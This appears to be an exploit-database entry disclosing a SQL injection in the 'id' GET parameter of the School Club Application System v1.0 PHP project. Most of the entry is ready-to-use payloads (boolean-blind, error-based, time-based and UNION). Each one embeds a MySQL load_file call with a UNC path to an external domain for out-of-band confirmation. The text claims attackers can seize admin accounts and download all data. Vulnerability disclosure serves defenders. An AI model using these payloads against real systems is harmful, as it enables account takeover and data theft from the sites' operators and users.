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## https://sploitus.com/exploit?id=1337DAY-ID-37593
## Title: School Club Application System v1.0 SQLi 
## Author: nu11secur1ty
## Vendor: https://www.sourcecodester.com/users/tips23
## Software: https://www.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html
## Reference: https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/School-Club-Application

## Description:
The `id` parameter appears to be vulnerable to three types of SQL injection attacks. 
The payload '+(select load_file('\\\\8dmu6ajx1qrgicpg5fp5d8637udn1gp7svjia6z.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html\\slr'))+' was submitted in the id parameter. 
This payload injects a SQL sub-query that calls MySQL's load_file function with a UNC file path that references a URL on an external domain. 
The application interacted with that domain, indicating that the injected SQL query was executed.
The attacker can take administrator account control and also of all accounts on this system, also the malicious user can download all information about this system.

Status: CRITICAL

[+] Payloads:

```mysql

---
Parameter: id (GET)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: page=clubs/view_details&id=2'+(select load_file('\\\\8dmu6ajx1qrgicpg5fp5d8637udn1gp7svjia6z.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html\\slr'))+'' OR NOT 2914=2914-- erOW

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: page=clubs/view_details&id=2'+(select load_file('\\\\8dmu6ajx1qrgicpg5fp5d8637udn1gp7svjia6z.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html\\slr'))+'' OR (SELECT 2308 FROM(SELECT COUNT(*),CONCAT(0x7176787a71,(SELECT (ELT(2308=2308,1))),0x717a6b7a71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VAfL

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: page=clubs/view_details&id=2'+(select load_file('\\\\8dmu6ajx1qrgicpg5fp5d8637udn1gp7svjia6z.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html\\slr'))+'' AND (SELECT 8537 FROM (SELECT(SLEEP(5)))TWcu)-- jivn

    Type: UNION query
    Title: Generic UNION query (NULL) - 8 columns
    Payload: page=clubs/view_details&id=2'+(select load_file('\\\\8dmu6ajx1qrgicpg5fp5d8637udn1gp7svjia6z.sourcecodester.com/php/15266/school-club-application-system-phpoop-free-source-code.html\\slr'))+'' UNION ALL SELECT CONCAT(0x7176787a71,0x7468764e617048694a74717a4f53734a6956786e7a4a56774b48427a7645474c414847756f704641,0x717a6b7a71),NULL,NULL,NULL,NULL,NULL,NULL,NULL-- -
---

```

## Reproduce:
[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2022/School-Club-Application)

## Proof and Exploit:
[href](https://streamable.com/lpwxr4)